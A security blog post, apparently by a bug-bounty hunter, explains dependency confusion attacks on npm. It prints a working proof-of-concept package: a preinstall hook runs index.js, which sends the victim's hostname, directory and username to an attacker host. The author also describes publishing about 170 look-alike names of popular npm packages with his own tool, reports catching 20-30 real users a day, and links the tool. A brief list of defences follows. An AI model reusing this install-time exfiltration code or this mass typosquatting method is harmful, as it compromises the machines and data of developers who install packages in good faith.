RCE via Dependency Confusion

Introduction Link to heading

Attacks on the software supply chain are becoming increasingly sophisticated, and one of the most insidious types of attacks is Dependency Confusion.

Particularly dangerous in this context is the possibility of Remote Code Execution (RCE), which allows attackers to not only infiltrate a system, but also execute arbitrary commands on the target server. In this article, we will look at how this attack works, its consequences, and examine current techniques that attackers are already using to scale up their attacks.

How does it work? Link to heading

Let’s imagine that there is a company “Copy.bara Technologies” which uses a private package NPM, RubyGems or PyPI (it doesn’t matter) in its products called, for example, @mycompany/utils. The package is behind the company’s closed doors and is not accessible to outside laymen.

But if an attacker creates and publishes a package with the same name @mycompany/utils, the project’s build system, which is configured to look for new versions of packages in the public repository, will download and install it.

And, uh. that’s it? In general - yes, if we don’t exploit the vulnerability, we can just crash a couple of sites and be glad we’re Herker, but how can we increase impact? Add scripts for post-install activity, which will lead us to RCE.

The structure of the project looks like this:

where

  • android-x64 - directory with the package name (optional)
  • index.js - malicious code, ala script that will be executed after installation on the target system
  • package.json - a file akin to manifest.

Package.json content:

{
  "name": "android-x64",
  "version": "213.21.24",
  "description": "PoC for pottential RCE",
  "main": "index.js",
  "scripts": {"preinstall": "node index.js"},
  "author": "Herker",
  "license": "ISC"
}

Let’s go over a couple things:

  • The name must match the one we want to stand under
  • Version - the bigger the better. In the wild, 2xx.yy.zz is the max I’ve seen.
  • Realize that your package is likely to cause someone else to break things.

Index.js content:

const os = require('os');
const https = require('https');
const querystring = require('querystring');
const fs = require('fs');
const packageJSON = require('./package.json');
const package_name = packageJSON.name;


const trackingData = {
  hostname: os.hostname(),
  pwd: __dirname,
  user: os.userInfo().username,
  package_name: packageJSON.name,
};


const postData = JSON.stringify(trackingData);


const options = {
  hostname: "attacker.host",
  port: 449,
  path: '/PoC',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(postData),
  },
  rejectUnauthorized: false,
  timeout: 2000,
};


const req = https.request(options, (res) => {
  res.on('data', (d) => {
    //console.log(d);
  });
});

req.on('error', (e) => {
  //console.error(e);
});

req.write(postData);
req.end();

In everything above, you are only limited by your imagination, but we only collect data for minimal host identification. No Shells to catch😭

What came out of that Link to heading

BugBounty managed to find such a corporate package in the wild, JS Miner pointed to a path found in one of the files. Googling a bit on the title, I came across an article by the father of the founder of this vulnerability:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)

He talked about fat bounties and the title “How I Hacked Into Apple, Microsoft and Dozens of Other Companies” screamed that I was going to be rich and happy, but unfortunately they never upgraded to our version. Apparently the dependency build system works well.

Also, after a screenshot like this, one wonders if I can attack similar names. A little bit of googling brings us to the top 10,000 NPM packets

https://github.com/LeoDog896/npm-rank

BINGO! A large number of them give 404. (this means that the package name is free and you can register your own).

I had to write a script to generate such packages and process them conveniently. It also generates a self-signed certificate if required.

https://github.com/ExZuperi/Dependecer

Out of 180 similar names, our packages were published 170 times. Still, there is a small check for similar names, but it almost doesn’t work.

For everyone, you’ll look something like this:

Why put only sha256 when you can put all the cryptography at once?)

The number of packages that can be published in a row is limited to 10, but this is a gentleman’s kit:

And this is how we can fish. The statistics is about this: about 20-30 users per day for 170 packages. I don’t think it’s necessary to say how much it is in hot production shops.

CAN BE FUCKED UP AND THEN WE GET KNOCKED ON THE HEAD FOR BREAKING BROTHER COUNTRY BEAR BREAK BROTHER COUNTRY NOODLE (an untranslatable local joke about Russia and China.), but we seem to have caught tencent (Chinese private investment holding).

Sent them a report on bugbounty.

How do you protect yourself? Link to heading

Using digital signatures of packages to validate their authenticity. This helps ensure that a package has not been modified since it was published by its author.

Implement monitoring systems to track changes to dependencies and receive notifications when suspicious activity occurs. This can include using tools such as Dependabot to automatically update dependencies.

Installing and testing new dependencies in isolated environments before deploying them to productive systems. This helps prevent malicious code from executing on the underlying system.

Always prioritize internal repositories for critical dependencies.

Use tools such as npm audit to check the security of packages.

Summary Link to heading

Dependency Confusion attacks pose a serious threat to software supply chain security. New exploitation techniques, such as creating interconnected malicious packages and automating the publication of malicious versions of popular packages, can significantly complicate detection and increase the scope of attacks.

Defending against these threats requires a comprehensive approach that includes proper repository configuration, regular dependency auditing, and the use of security monitoring and analysis tools.

Homework Link to heading

Subscribe to Telegram Channels:

https://t.me/citadelle_de_exzuperi https://t.me/Pentest_Notes

Read the articles:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 https://blog.securelayer7.net/a-road-from-dependency-confusion-to-rce/ https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/ https://snyk.io/blog/ruby-gem-installation-lockfile-injection-attacks/

Go make money on BugBounty